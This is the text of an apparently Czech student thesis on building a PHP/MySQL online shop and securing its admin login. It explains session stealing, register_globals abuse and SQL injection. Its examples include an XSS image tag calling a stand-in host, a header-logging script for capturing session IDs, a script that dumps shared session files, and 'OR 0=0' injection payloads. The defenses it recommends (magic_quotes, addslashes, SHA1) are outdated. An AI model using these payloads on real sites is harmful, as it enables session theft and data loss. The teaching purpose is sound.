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2. Anotace

Ukolem je naprogramovat internetovy obchod véetné administraéniho systému, kterym

bude moci majitel vSe samostatné spravovat.

Nejednd se vSak o konkrétni obchod pro konkrétniho zadavatele. Jde o vytvoreni
univerzalnich moduld, které budou spliovat zakladni poZadavky internetového obchodu

a dohromady vytvori kompaktni funkéni celek.

Tyto predpripravené casti budou pozdéji pri zpracovani konkrétni zakazky Setfit Cas i praci
potfebnou pro vytvoreni e-shopu na miru. Moduly internetového obchodu z pohledu
zakaznika proto zatim nebudou sladény s grafickym rozhranim.

Design internetového obchodu musi byt pro kazdého jednotlivého zadavatele vytvoren
pfimo podle jedine¢nych prani a tyto univerzalni moduly, jako je napfiklad vypis zbozi,
nakupni kosik, registrace uzivatell atd., budou do grafiky webu zasazeny az pti praci na

konkrétnim projektu.

Kromé zvladani béznych operaci charakteristickych pro jednotlivé moduly musi systém
obstat i z hlediska bezpecnosti. Proto se v této praci zaméfim kromé samotného

programovani také na odhaleni bezpecnostnich rizik a jejich osSetreni.

Nedilnou soucasti e-obchodu je administracni systém. Majitel jim bude moci vkladat
jednotlivé kategorie obchodu podle vlastni potfeby. Kazda z nich se da kvdli vétsi
prehlednosti jesté rozdélit na podkategorie. Samoziejmosti je moZnost zpétné opravy

jakéhokoli navigacniho prvku, ¢i jeho Uplné odstranéni.

Dalsi funkci administracniho systému je vkladani zbozi do e-obchodu, Iépe fe¢eno do
databaze, ze které se nasledné zboZi pri nakupu vypisuje do uZivatelskych stranek. Kazdé
zbozi bude moci byt presné zaclenéno do subkategorie nalezici urcité kategorii. U kazdého
zbozi bude mozné vyplnit jiz prednastavena formularova policka, jako je nazev zbozi, cena,

popis, zarucni doba atd. Samoziejmosti bude vkladani obrazkl ke kazdému produktu.



Administracni systém poskytne majiteli e-obchodu také dalSi nastroje. Rozhodné nesmi
chybét sprava objednavek. Objednavky se v administracnim systému cleni na prijaté,
vyfizené, expedované a zrusené. Poté, co nakupujici zakaznik odesle svou objednavku,
bude mit majitel e-obchodu Sanci prohlédnout si ji a ménit u ni stav. Toto je ddlezité
z toho dlivodu, Ze po kazdé zméné stavu objednavky bude kupuijici zakaznik automaticky
informovan e-mailem, aby mél prehled, jak jeho objednavka postupuje v procesu

vyfizovani.

V obchodé mohou zbozi vkladat do koSiku jak registrovani, tak neregistrovani uzivatelé.
DalSi modul proto tvori registrace uzivateld. Registrované uzivatele bude mozné vypsat
v administracnim systému v modulu sprava uZivatelll, kde se o uzivatelich zobrazi detailni

informace.

Nedilnou soucasti nakupd je modul nakupni kosik. Zde pljde predevsim o vyresSeni otazky
ukladani informaci o prlibéhu nakupovani zakaznika — ukladani informaci o tom, jaké zbozi
zadkaznik vklada do kosiku. Je potfeba vytvorit mechanismus, ktery zajisti, aby nakupni
kosSiky jednotlivych uZivateld zlstaly oddéleny a vice soucasné nakupujicich si nemohlo

navzajem prepisovat a ménit obsah nakupy.

S bezpecnosti souvisi také zaloha dat. Proto by soucasti administracniho systému mél byt

mechanismus, kterym majitel bude moci zalohovat celou databazi se vSemi ulozenymi

daty.



3. Pouzité nastroje

Reseni vy$e uvedeného problému bude probihat pomoci vlastniho vyvoje e-obchodu
a administracniho systému. Pouzité nastroje tvori programovani v PHP, HTML, JavaScript.

PouZita databaze bude typu MySQL a provoz PHP zajisti server Apache.

3.1. PHP

PHP je skriptovaci jazyk pouzivany pro tvorbu dynamickych internetovych stranek.

Jeho vznik spada do devadesatych let dvacatého stoleti, kdy ho jeho autor Rasmus Lerdorf
vyvinul nejprve pro své vlastni potreby a nasledné ho v roce 1995 pod vlivem okoli uvolnil
k vefejnému pouziti pod nazvem Personal Home Page Tools. Také zfidil forum, kde

uzivatelé mohli pfispivat svymi napady a poznatky.

Systém se stal velice oblibenym a dale rozSifovanym. Pfibyla podpora SQL dotaz(,

vytvareni formular a zobrazovani vysledk{ dotazd.

V roce 1998 byla vytvorena verze PHP 3.0, ktera oproti predchozim verzim doznala

zrychleni a také byla zavedena podpora pro operacni systém Windows.
Od verze 4 bézi PHP na jadru Zend, které jesté dale cely systém zrychlilo.

V souCasné dobé existuje jiz verze PHP 5.2.1 a systém se stadle vyviji a rozsifuje.

Pripravovana je dokonce verze PHP 6.0

PHP patfi do skupiny serverovych skriptovacich jazykl, coZ znamena Ze nejsou
vykonavany na strané klienta jako napf. JavaScript, ale na strané serveru. Vyhodou
takovychto serverovych jazykd je, Ze programator ma udalosti vice pod kontrolou

a obecné takovéto jazyky zvladaiji vic véci nez klientské.



PHP neni jediny takovyto jazyk, ale k jeho vyhodam patfi jeho multiplatformni pouziti —
mdze byt provozovan jak na Linuxu, Windows tak i na Mac OS a dalSich systémech.

K jeho rozSifenosti prispélo jisté také to, Ze je zdarma a za jeho pouziti se nemusi platit.
Pritom je to systém kvalitni a také bezpeceny. K tomu ziejmé prispiva také to, ze je to
systém s otevienym zdrojem (tzv. open-source systém) a tedy provérovany a zkoumany

Sirokou verejnosti. Diky tomu se podafrilo odhalit a opravit spoustu chyb a nedostatkd.

Pro vyvoj internetového obchodu budu pouzivat PHP verze 5.0.4

3.2. MySQL

MySQL je open-source databazovy systém vyvinuty Svédskou firmou MYSQL AB a je
nabizeny pod bezplatnou licenci GPL. MySQL vyuziva jazyk SQL, avSak podobné jako

u ostatnich databazovych systém( je tento jazyk mirné upraven.

Systém je znacné rozSifen a mezi vyvojafi obliben. Provozovan mize byt jak na operacnich
systémech Windows, tak i na Linuxu, Mac OS a mnoha dalSich.

Za svlj vyvoj prosel mnoha optimalizacemi a je orientovan na rychlost, coZ je ovSem misty
provedeno na ukor jistych omezeni. Donedavna napriklad nebyla zabudovana podpora

pohledd, triggerd apod.

MySQL je databdze relacni a viceuzivatelska. Data jsou tedy ulozena do jednotlivych
logickych celkd, které mohou byt provazany a soucasné k databazi mlze pfristupovat vice

uzivateld najednou.

MySQL nabizi nékolik typl tabulek, kam se daji data ukladat. Podporuje tabulky MyISAM,
InnoDB, BDB, MEMORY, NDB Cluster, ARCHIVE a CSV (pro ukladani dat v textovych
souborech).



Systém v soucasnosti podporuje triggery, pohledy, poddotazy, transakce apod. Néekteré
tyto vlastnosti jsou dostupné v zavislosti na verzi MySQL a na zvolené tabulce pro uloZeni
dat.

V soucasné dobé je k dispozici verze MySQL 5.0.37.

Pfi praci na projektu budu pozivat verzi 4.1.11

3.3. Apache

Apache je softwarovy webovy server s otevienym zdrojovym kddem, jehoZz vyvoj zacal
vroce 1993 v National Center for Supercomputing Aplications. Pozdéji doslo ke
kompletnimu prepsani zdrojového kédu a oznaceni systému jako Apache2. O vyvoj se

stara Apache Group.

Dnes je to jeden z nepouzivanéjSich webovych serverl. Samoziejmosti je podpora

operacnich systéml Windows, Linux a dalsi.

V soucasnosti je k dispozici vezre 2.2.4. Pro provadéni skriptd PHP budu v projektu

pouzivat verzi 2.0.55.
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4. Administracni systém

Internetovy obchod je klasicky pripad dynamicky generovaného webu. Jeho obsah neni
vloZen napevno pfimo do zdrojového kodu, ale je vytvaren na zakladé aktualniho obsahu
databaze a akci provadénych nakupujicim. Proto mdze uzivatel vkladat zbozi do nakupniho

kosiku, upravovat polozky, sledovat stav svych objednavek apod.

Na druhé strané ovSsem musi existovat zplsob, jak vlbec zboZi do databaze vloZit,
spravovat objednavky atd. Za timto Gcelem musi byt k internetovému obchodu vyvinut
administracni systém, ktery majiteli umozni spravovat pokud mozno cely obsah obchodu

a provadeét akce s obchodovanim spojené.

4.1. Prihlaseni do systému

Administracni systém je mocny nastroj, a proto je tfeba dbat na zabezpeceni této aplikace
a pristup povolit pouze opravnénym osobam. Ty budou svoji zplsobilost k provadéni
operaci v administracnim rozhrani prokazovat uzivatelskym jménem a heslem, které zadaji

pro prihlaseni do systému. Vstupni stranka rozhrani je vidét na obrazku 4.1 v priloze.

Tato stranka obsahuje jednoduchy HTML kod s formulafem pro zadani jména a hesla. Po
vyplnéni Udajl jsou data odeslana na stranku login_status.php k dalSimu zpracovani. Ta je
tvorena pouze PHP a SQL kédem a testuje prihlaseni uzivatele v nékolika krocich. Nejprve
je vytvoreno spojeni s databazi, dale se inicializuji sessions, provede se oSetfeni koliznich
znakd v prihlasovacich proménnych, heslo se zakdduje hashovacim algoritmem, platnost
Udajd je ovérena v databazi a pokud se shoduji, nastavi se uZivateli session proménné
a uzivatel je presmérovan do administracniho rozhrani. Pokud je pfihlaseni chybné,

uzivateli je odepren pristup.

Uz v téchto nékolika krocich se skryvaji bezpecnostni rizika. Nyni si jednotlivé akce

podrobnéji rozebereme.
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4.1.1. Zahrnovani externich soubori

Protoze v celém administraénim systému, vcéetné skriptl pro ovéreni platnosti
uzivatelského jména a hesla, budeme vyuzivat databazi, musime s ni nejdfive vytvorit
spojeni. Nema ale smysl psat skript pro spojeni do kazdé stranky zvlast. Je to velice
nepraktické, protoze pokud by ¢asem doslo ke zméné prihlasovacich Gdajd, museli bychom
je na kazdé jednotlivé strance prepsat. Jejich zméné se nevyhneme minimalné jednou
z toho dlvodu, Ze projekt nejprve vytvafime na localhostu a nasledné ho ukladame na
hosting pod pfislusSnou doménu na internet, kde jsou pfihlasovaci udaje jiné. Lepsi reSeni

je spojeni s databazi zadat do jediného souboru a ten pak ze skriptl nacitat.

V PHP existuje nékolik moznosti jak do stranky zahrnout skripty z externich soubor(l. Mezi
nejpouzivanéjsi patii pfikazy include() @ require(). Jsou téméf totoZzné jen stim
rozdilem, Ze include vraci pfi nelspéchu varovani, kdezto require ohlasi kritickou chybu
a zpracovani skriptu se zastavi. Pro zaclenéni dlleZitych Gdajd pro spojeni s databazi

pouiijeme tedy prkaZ require ().

Pfi zahrnovani souborl je tfeba dat pozor na jednu véc. Néktefi lidé si pro prehlednost
oznacuji konfiguracni soubory napfiklad koncovkou .inc, .conf apod. Takovy soubor se sice
v poradku do skriptu zahrne a vykona, ale uz sam princip pojmenovani souboru v sobé
skryva bezpecnostni riziko. Pokud Utocnik zavold soubor z prikazové fadky prohlizece,
misto aby doslo k provedeni skriptu, vypiSe se jeho obsah na obrazovku. Tim Utocnik ziska
veskeré uvniti uvedené Udaje, v nasem pripadé Udaje pro vstup do databdze, a mize

napachat veliké skody.

Proto je dobré vSsem takovymto soubortim s citlivymi daty davat pfiponu .php. Pfi dotazu

na soubor se prikazy v ném obsazené vykonaji, misto aby se vypsaly na obrazovku.

Skript v souboru login_status.php zacind pfikazem require ('opendb.php');, ktery

zahrnuje konfiguracni soubor opendb.php s timto obsahem:
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<?
mysgl connect ("localhost™,"","");
mysgl select db("diplomova-prace");

?>

Funkci mysql connect () predavame nejCasteji tri parametry — nazev serveru, kde
databaze bézi, uZivatelské jméno a heslo.

Funkce mysql select db () nasledné vytvari spojeni s konkrétni databazi.

4.1.2. Sessions a session stealing

Protokol HTML je bezstavovy. To znamena, ze pokud chceme mezi jednotlivymi skripty
a strankami uchovavat néjaké hodnoty (v nasem pripadé to bude uZzivatelské jméno
a heslo, u néhoz bude pfi kazdém spusténi skriptu ovérovano, zda je platné a uzivatel

mdZe provadét operace se systémem), musime pouzit nékteré pomocné metody.

Jednou znich je neustdle predavani proménné v URL, tedy metodou GET, coZ je
nepohodIné, protoze bychom museli ke kazdému odkazu ve strance ruc¢né proménné
doplnit. Jelikoz se tyto Udaje predavaiji v adresové radce, jsou dobre viditelné, a proto neni
pro Uto¢nika problém je zcizit ¢i zménit. Podobné by to bylo s proménnymi predavanymi
metodou POST.

K pohodInéjsimu ulozeni hodnot se daji vyuzit Cookies, coz jsou textové soubory ukladané
na strané uzivatele v jeho pocitaci a pfi kazdém dotazu na doménu se z nich mohou Udaje
nacitat. Ani toto FeSeni ovsem neni moc bezpecné, protoze Utocnik se mdze k souborlim

v pocitaci dostat a jejich obsah zcizit.
Relativné bezpecnou zalezitosti je vyuziti uzivatelskych relaci — sessions. Vytvari se volanim

funkce session start();. Je ji tfeba volat jeSté pred jakymkoli vystupem na

obrazovku, jinak by funkce zplsobila chybu kvdli kolizi s jiz odeslanymi hlavickami.
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Pri vzniku session vytvori skriptovaci stroj PHP jedinecny identifikator této relace. Ten ma
podobu 32 mistného fetézce, ktery je tvoren hashovou md5 hodnotou vzdalené IP adresy,
aktudlniho ¢asu a nékolika dalSich informaci. Soucasné s tim vznika na webovém serveru
soubor, jenz tuto hashovou hodnotu obsahuje v ndzvu a jeho obsahem jsou session

proménné, které chceme béhem naseho spojeni s aplikaci vyuzivat.

Abychom pfi kazdém spojeni se serverem k tomuto souboru mohli pfistoupit a pouzivat
data v ném uloZzend, musime se vzdy prokazat vzniklym identifikatorem. Existuji dvé

moznosti, jak identifikator uchovavat.

Prvni z nich je predavat ho v URL, kam se doplfiuje sam. Toto feSeni v sobé ale skryva
bezpecnostni riziko. Pokud by se Utocnikovi podafilo ziskat nas identifikator a pouzit ho pro
své spojeni se serverem, ziskal by tim padem také opravnéni pristupovat k session
souboru na serveru. Pfi ovérovani, zda je uzivatel prihlasen opravnéné, by utocnik pouzil
Udaje z odpovidajiciho session souboru a kontrola by probéhla v poradku, protoze i data
v souboru jsou v poradku — vytvoril je pravoplatny uzivatel administracniho systému

a utocnik je jen zcizil.

Soubor session neni pochopitelné uloZzen na serveru na véky, ale zanika bud’ po radném
odhlaseni uzivatele nebo po delSi dobé, kdy se k souboru nepfistupovalo. Podminkou
k neopravnénému prihlaseni na cizi session id je tedy to, Ze fadny uzivatel je momentalné

také prihlasen, nebo po ném jesté zlstal soubor session.

Zcizeni identifikatoru session se nazyva session stealing a da se provést rliznymi zplsoby.
Jeden znich prévé vyuZivd toho, 7e se session id preddva v URL. Utocnik mlze
identifikator jednoduse z adresového radku primo odecist, nalézt ho v historii prohlizece,
nebo ho dokonce zjistit z vyhledavace. Napriklad Seznam.cz zaindexuje celé URL stranky
vCetné session id, které se podle vychoziho nastaveni do URL doplfiuje samo. Pokud pres
vyhledany odkaz pristupuje na web vice uzivateld, maji vSichni stejny identifikator
a Cerpaji se stejného session souboru. Pozdéji prichozi tak milze byt ihned po vstupu

prihlasen za jiného uzivatele, ktery tak ucinil pred nim.
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Jestlize uz Gtocnik session id zcizil, sta¢i mu zadat do adresového radku prikaz napr.
www.example.cz?PHPSESSID= 01d45f5df24e299cec202857e38d3089, kde

01d45f5df24e299cec202857e38d3089 je ziskany identifikator. Diky uvedenému systému
predavani identifikatoru v URL bude utocnik Uspésné spojen s existujicim session

souborem.

Jak tomuto bezpecnostnimu riziku zamezit? Do stranky login_status.php vilozime pfikaz
ini set ('session.use trans sid', 0);, ktery zajisti, aby se identifikator relace
automaticky do URL nevkladal. Tim vyhledavaclim zabranime indexaci kompletni adresy

véetné sesion id.

Jako dalsi pouiijeme zépis ini set('session.use only cookies', 1);, kter)'/ se

postara o to, aby identifikatory predavané pomoci URL byly ignorovany.

Oba zdpisy vyuzivaji funkce ini set(), kterd& umoznuje za chodu skriptu ménit

konfiguracni volby PHP, jinak obsazené v konfiguracnim souboru php.ini.

Jelikoz jsme zakazali predavani identifikatoru session v URL, zbyva pro zachovani jeho
hodnoty druhd metoda — predavani v cookies. Ty se ale na rozdil od klasickych soubord
cookies neukladaji v pocitaci uzivatele, ale v mezipaméti okna prohlizece. Proto se pfi
zavreni okna prohlizeCe ztrati session id a relace zanika. Soubor session na serveru vSak
zUstava a je automaticky odstranén az po urcité dobé, ktera se da nastavit v konfiguraci
PHP.

Tato metoda predavani identifikatoru session je relativné bezpecnd, ale i zde se najdou

zplsoby, jak session id zcizit.

Predstavme si napriklad, Ze soucasti naseho internetového obchodu je uzivatelska diskuse,
kam mohou navétévnici prispivat. Utoénik ma tedy moZnost do stranky, kterou uvidi
ostatni uZivatelé (kazdy znich ma v paméti svého prohlizece uloZzen svlj session
identifikator) vlozit néjaky obsah. Tim obsahem by mélo byt idealné néco, co pomize

utocnikovi zjistit identifikator uzivatele, ktery zrovna diskusi prohlizi.
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VloZeni skodlivého kddu do stranky se nazyva Cross Site Scripting (XSS) a bude o ném rec
jesté dale. Nyni chci jen poukazat na to, jakym zplsobem je mozné ziskat cizi identifikator

relace.

Za optimalnich podminek je pro Utoc¢nika snadné do diskuse vlozit napf. tento kdd:

<img src=“http://www.example.cz/utok.php“>. Na prvni pohled se nic Spatného
nestane. V diskusi se jen objevi symbol kfizku znazornujiciho chybéjici obrazek. Pokud by
navic Utocnik pFidaI obrazku rozméry <img src=“http://www.example.cz/utok.php"
width="1“ height="1“>, chybéjiciho obrazku si uzivatelé ani nemusi vSimnout. Na
pozadi se vSak stane zasadni véc — spolu s poZzadavkem na nacteni obrazku z adresy
www.example.cz/utok.php, kterd samoziejmé na zadny obrazek nevede, posle prohlize¢
autorizacni session identifikator. Obsahem souboru utok.php pak mdze byt napriklad skript

jako tento:

<?

Sheaders = GetAllHeaders();

while (list(Shlavicka, S$hodnota) = each ($Sheaders)) :
Sobsah=$obsah."$hlavicka - S$hodnotal\r\n";

endwhile;
Ssoubor="obsah.txt";

Sfp = fopen ($soubor, 'w');
fwrite ($fp, Sobsah);

fclose (S$Sfp);

?>

Tento skript precte hlavicky prohlizece a uloZi je do souboru na serveru Utocnika. Kromé

jiného je v hlavickach obsaZen pravé session identifikator.

Utocnik ma nyni nas identifikator a nic mu nebrani ho zadat do adresové radky. Ovsem

protozZe jsme zakazali predavani session id v URL, Utoku jsme zabranili.
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Nicméné i s tim si mize Utocnik poradit. K této problematice se vratim pozdéiji.

U sessions je dobré zminit jesté jednu véc. V soucasné dobé je zvykem, Zze se soubory
sessions ukladaji na hostingovy prostor pfifazeny konkrétni doméné do adresare TMP, coz

je spravné.

Nicméné je stale mozné setkat se s hostingy, které ukladaji session soubory do spole¢ného
adresare pro vSechny weby na stejném serveru. Pokud si vytvofime nasledujici skript
a umistime ho na server, ktery uklada sessions do spoletného adresare, mizeme za
urcitych okolnosti (napf. se Spatné nastavenou direktivou open_basedir ¢i safe_mode)
ziskat kompletni obsah vSech session proménnych ze souborll session z celého serveru.
Skript mlze byt nasledujici:

Ssession path = preg replace('~.*;~", , ini get("session.save path"));
foreach (glob(($session path ? $session path : $ ENV["TEMP"])
"/sess_*") as $filename) {

echo "$filename\t";

readfile ($filename) ;

echo "\n";

4.1.3. Register_globals

Register_globals je direktiva, kterd ma za kol usnadnit programatorlim praci. Po pridani
do PHP méla nastaveni implicitné na On. Nicméné pozdéji, potom co byla tato funkce
diskutovana z hlediska bezpecnosti, je od PHP verze 4.2.0 implicitné nastavena na
hodnotu Off a od verze 6.0 bude dokonce moznost nastaveni Uplné odstranéna a PHP se
bude chovat jako pfi vypnuté funkci.

Ackoliv dnes na vétsiné hostingll bézi PHP novéjsi nez 4.2, stale se na mnoha z nich
mdZeme setkat s nastavenim On.

Neda se tedy dopredu pocitat s tim, ze na webu v ostrém provozu bude hodnota takova,

jakou chceme mit. Navic se tato funkce neda ovlivnit nastavenim pomoci ini set ().
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ProC je direktiva register_globals tak diskutabilni, kdyZz usnadnuje programatorlim praci?
Jejim Ukolem je z proménnych predanych uzivatelem vytvorit globalni proménné, které je
nasledné mozné pouzivat ve skriptu. Register_globals vytvafi globalni proménné z dat
predanych metodou GET, POST, pomoci COOKIES, SERVER a ENVIRONMENT a to v poradi
uvedeném v nastaveni variables_order, které je implicitné EGPCS. To znamena, ze pokud
odesilame data metodou GET i POST najednou a oboji ma stejny nazev, data z metody
GET budou prepsana daty z POST pfi nastaveni EGPCS.

V praxi register_globals funguje napfiklad tak, Ze po odeslani formulafového pole jmeno
metodou POST, PHP vytvofi z proménné $ PoST['jmeno'] také globdlni proménnou
$imeno. USetfi nam tedy jak psani delSiho vyrazu $ PoST['jmeno'], tak i rozmysleni,

z jakého zdroje vlastné data pfisla. Jestli z POST ¢i GET apod.

Mnozi programatofi proto vyzaduji nastaveni direktivy na On a pokud to technicka podpora
hostingu, kde web bézi, nedovoli, pouziji vlastni funkci, kterd udéla vlastné to samé, jako

register_globals On. Takova funkce mdze vypadat nasledovné:

<?

($ GET as Skey => Svalue) {
SSkey = Svalue;

}

($ POST as Skey => Svalue) {
SSkey = Svalue;
}

?>

Ackoli pak mohou pristupovat k proménnym jako v pfipadé register_globals On, neresi to

bezpecnostni riziko, které se v celé véci ukryva.

Problém spocivda vtom, Ze uvnitf naseho skriptu se vyskytuje mnozstvi internich

proménnych. Napfiklad si predstavme nasledujici ukazkovy kod testu prihlaseni, kde se

18



kontroluje, zda byla uZivateli vytvofena session proménna s jeho jménem a pokud ano, da
se predpokladat spravné prihlaseni uzivatele. Dale v kddu se proménna Sprihlaseni ok

pouziva v néjakych podminkach:

<?

if (S SESSION['login']=="test"):
Sprihlaseni ok=1;

endif;

7>

Pokud je zapnuta direktiva register_globals a Uto¢nik zadd do URL napriklad toto:
www.example.cz/test.php?prihlaseni_ok=1, bude z proménné $ GET['prihlaseni ok']
vytvorena také proménna sprihlaseni ok hastavena na hodnotu 1 a to aniz by musela
ve skriptu platit podminka i f ($ SESSTON['login']=="test"):

7 v

Podobné zneufZiti register_globals mlze nastat, pokud napriklad pfi odeslani objednavky

7 7

a ukladani radkld do databaze v kazdé Casti cyklu while uklddame nazev pravé
zpracovavaného zbozi do proménné sobsah zpravy, abychom pak mohli uZivateli zaslat

email s vypisem veskerého zbozi, které objednal:

while ($zaz = mysqgl fetch array($vysledek)):

Snazev = S$Szaz['nazev'];

Sobsah zpravy.="Zbozi: S$nazev<br>";

endwhile;

Pokud utocnik pomoci adresového fadku odeSle proménnou sobsah zpravy S néjakym
textem, bude kvlli zapisu Sobsah zpravy.= ve skriptu nejprve vlozena zprava od

Utocnika a az poté pridavany informace o objednaném zbozi.
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Z vyse uvedeného ale vyplyva jedno: pokud by programator dlsledné inicializoval
proménné, nepredstavovalo by nastaveni register_globals On takové oslabeni bezpecnosti.
V uvedenych  prikladech by stacilo pred testovanim  podminky  nastavit
$Sprihlaseni ok=0; a ve druhém pripadé pred vykondvanim cyklu while

Sobsah zpravy="";

Nicméné takto nastavovat vSechny proménné je pracné a je mozné nékde na néco
zapomenout, nedomyslet... Navic je tfeba pamatovat, ze i do pole se da pomoci URL
prifadit hodnota, pokud se pole ve skriptu nevytvari zapisem spole=array(), ale rovnou

se do néj prifazuje stylem $pole[]="obsah";

Za dalsi, ackoli je méné pohodiné zapisovat stylem $ POST['promenna'] NEZ $promenna,
prvni zplsob vede k vétsi prehlednosti a programator si uvédomuje, odkud data pfisla, coz

pfi vyvoji systému mlze obcas zabranit chybam a kolizim proménnych.

Pro¢ ale zminuji tuto problematiku — hned na Gvod naseho skriptu pro pfihlaseni uzivatele
totiz pracujeme s daty odeslanymi metodou POST, tedy s uzivatelskym jménem a heslem,
a proto, jako i v dalSich Castech skriptu, k takovym datim budeme z vySe uvedenych
dGvodl pristupovat Fadné pres $_POST ¢i $_GET.

4.1.4. Magic_quotes_gpc a SQL injections

Ihned po testu, zda byla proménnd s POST['login'] @ $ POST['heslo'] vyplnéna
(pokud ne, bude uzivatel presmérovan pomoci funkce header ('Location:
error.php?event=login'); na chybovou stranku, ktera ho informuje o nevyplnénych
Udajich), probéhne dalsi test, ktery také souvisi s bezpecnosti. Budeme testovat, zda je
direktiva magic_quotes_gpc nastavena na On ¢i Off.

Direktiva magic_quotes_gpc ma za Ukol v proménnych typu GET, POST a COOKIE
escapovat znaky jako jsou jednoduché uvozovky, dvojité uvozovky ci zpétna lomitka. Pred
tyto znaky je pfi nastaveni magic_quotes_gpc On automaticky vloZzeno zpétné lomitko.

Pokud by se tak nestalo, mohlo by dochazet ke kolizi uvozovek v hodnoté proménné
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s uvozovkami pouzivanymi v jazyce PHP ¢i SQL. Ovsem nejen ke kolizi, ale v nékterych
pripadech by mohlo také byt Utocnikovi umoznéno modifikovat SQL dotaz pomoci udajd
predanych z URL.

Utok, kdy je zvenku modifikovdn SQL dotaz, se nazyvd SQL injection. Pfedstavme si
nasleduijici kod, ktery maze polozku v kosiku uréenou jejim ID. Tento kdéd je pro ukazku

zjednodusen.

mysgl query ("DELETE FROM kosik WHERE ID=$ GET[ID smazat]");

Takovyto zapis je z funkéniho hlediska v poradku a pokud ve vypisu kosiku klikneme na
tlacitko pro smazani zaznamu, je pomoci URL predano ID fadku, ktery bude smazan a SQL
skript ho také vymaze.

Co se ale stane, pokud utocnik do adresového fadku zada prikaz "kosik.php?ID_smazat=1

OR 0=0" ? SQL dotaz po vlozeni proménné s GET['ID smazat'] bude vypadat takto:
mysgl query ("DELETE FROM kosik WHERE ID=1 OR 0=0");

Coz ma za nasledek smazani nejen fadku sID=1, ale také vSech ostatnich radkd

v tabulce, které jsme rozhodné mazat nechtéli.

Prvni stupen obrany proti témto Gtoklm je uzavirani proménnych do jednoduchych

uvozovek. Dotaz pak vypada nasledovné:

mysqgl query ("DELETE FROM kosik WHERE ID='§ GET[ID smazat]'");

A po vlozeni hodnoty proménné vypada takto:

mysgl query ("DELETE FROM kosik WHERE ID='l OR 0=0'");
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Takovy zapis neprovede zadnou akci a zadny radek nebude vymazan. Pokud ovSem
Utocnik misto kosik.php?ID_smazat=1 OR 0=0 nezada kosik.php?ID_smazat=1' OR 0=0.
Rozdil je v jediné jednoduché uvozovce za Cislem 1. Dotaz by pak vypadal nasledovné:

mysgl query ("DELETE FROM kosik WHERE ID='l' OR 0=0");

A opét bychom pfisli o cely obsah tabulky. ProtoZze ale existuje direktiva
magic_quotes_gpc, ktera pfi nastaveni na On pred kazdou uvozovku v proménné vlozi
zpétné lomitko, dotaz vykonan nebude a data zlistanou zachovana.

Také je mozné pridat jesté dalSi oSetfeni a to testovani predavané proménné na cislo

pomoci funkce intval ().

Ackoli je magic_quotes_gpc s nastavenim On velmi uziteCna véc, na nékterych hostinzich
je vypnuta a nastaveni pomoci ini set () neni podporovano. Ani zde tedy nemlzeme
stoprocentné spoléhat na jeji nastaveni u webu v ostrém provozu, a proto ve skriptu
login_status.php s pfihlasenim uzivatele, a také ve vSech dalSich, testuji, zda je nastavena
tak, jak potfebuji, pomoci podminky if (!get magic quotes gpc()):

Pokud je podminka splnéna, coz znamena Ze magic_quotes_gpc jsou vypnuté, pouZziji na
hodnoty POST funkci addslashes(). Ta je VPHP od verze 4 a déla to samé, co
magic_quotes_gpc On, tedy prida zpétné lomitko pred jednoduché i dvojité uvozovky

a zpétna lomitka.

Mimochodem, pokud data, kterda byla addslashovana, at' uz funkci addslashes nebo
magic_quotes_gpc, na strance ihned vypisujeme, musime pouZit funkci stripslashes (),
kterd zpétna lomitka z retézce odstrani. Jinak by se nam zobrazily texty se zpétnymi

lomitky.

4.1.5. Otisk hesla

Nyni mame zjisténo, Ze uzivatelské jméno a heslo bylo fadné vyplnéno, zajistili jsme
addslashovani a nezbyva nez ovérit, zda se jméno i heslo shoduje s uZivatelskymi Udaji

v databazi.
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U hesla ale nebudeme v databazi hledat shodu s tvarem, ktery zadal uzivatel pfri
vypliovani prihlasovaciho formulare (napf. hesla ,mojeheslo"), ale s tzv. otiskem hesla.
Otisk hesla je heslo zakddované nékterou z hashovacih funkci do tvaru, ze kterého neni

mozné heslo zjistit.

Bylo by totiz chybné ukladat do databaze heslo v jeho bézné (Citelné podobé. Sice to
usnadnuje praci v pfipadé zapomenutého hesla, kdy si uzivatel mize snadno nechat zaslat
ztracené heslo na email, ale uz jen proto, Ze si neSifrovana hesla vSech uZivateld mdze

precist minimalné spravce databaze, neni to dobré reseni.

Funkci na zakddovani hesla existuje vice, napf. oblibené SHA1, md5 a dalsi. U funkce md5
vSak byly nalezeny bezpecnostni trhliny. Bylo objeveno vice zprav, které vedly ke stejnému
hashi a funkci md5 bylo doporuc¢eno nepouzivat. Navic narocnost nalezeni takovéto kolize
neni ziejmé velka, protoze pro jejich ziskani stacCily béZzné notebooky a cas potiebny
k nalezeni shody se pohyboval v fadu hodin (viz http://www.root.cz/clanky/nalezani-kolizi-
md5-hracka-pro-notebook a  http://www.root.cz/clanky/hasovaci-funkce-md5-a-dalsi-

prolomeny).

V administracnim systému tedy budu pouzivat funkci SHA1.

4.1.6. Dokonceni prihlaseni do systému

Pokud v databazi nalezneme shodu loginu a hesla s pfihlasovacimi Udaji zadanymi do
formulare, ulozime do session uzivatelské jméno, SHA1 hash hesla, stupen opravnéni,
ktery je nacten z databaze z informaci o uZzivateli a nakonec IP adresu uZivatele. Tyto
Udaje budou slouzit pro pozdéjsi kontrolu opravnéného vstupu. Nasledné uZzivatele
presmérujeme pomoci funkce header () na stranku login.php, kde je jiz grafické

administracni rozhrani viz obrazek 4.1.6.

Pokud by shoda v databazi nalezena nebyla, bude uZivatel presmérovan na chybovou

stranku s informacnim textem o neplatnych pfihlasovacich udajich.
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4.1.7. Kontrola opravnéného pristupu a dalsi metoda podstrceni session id

Ihned na zacatku stranky login.php, stejné jako na vSech dalSich strankach, je prikaz
require ('kontrola.php'), ktery zahrnuje skript s kontrolou uZivatele. Kontrola kazdé
stranky skriptu je nezbytna. Nelze spoléhat pouze na test uzivatele pfi prihlaseni na
strance www.example.cz/admin. Uto¢nik by mohl do adresového fadku rovnou zadat
napriklad www.example.cz/admin/zbozi-vypsat.php, obejit pfihlasovaci formuldf a dostat
se k vypisu zbozi. Se zahrnutim kontroly do kazdé stranky bude bez platnych udajd

odkazan na chybovou stranku.

Skript kontrola.php vykonava nasledujici akce. Pomoci require ('opendb.php'), Vytvori
spojeni s databdzi. Protoze je skript kontrola.php zaclenén do vSech stranek
v administracnim systému (kromé login_status.php a index.php), bude vytvoreno spojeni

s databazi pfi kazdém volani urcité stranky, coz ostatné potrebujeme.

Dalsi Fédky skriptu obsahujl' pFl'kazy ini set('session.use only cookies', 1);
aini set('session.use trans sid', 0);, které zajisti ignorovani identifikatoru
session v URL a zakazi automatické doplnéni session id do URL.

Dale je volana funkce session start (), kterd vytvori spojeni se session.

Prvni z testd opravnéného pristupu uZivatele spociva v testovani, zda IP adresa ulozena do
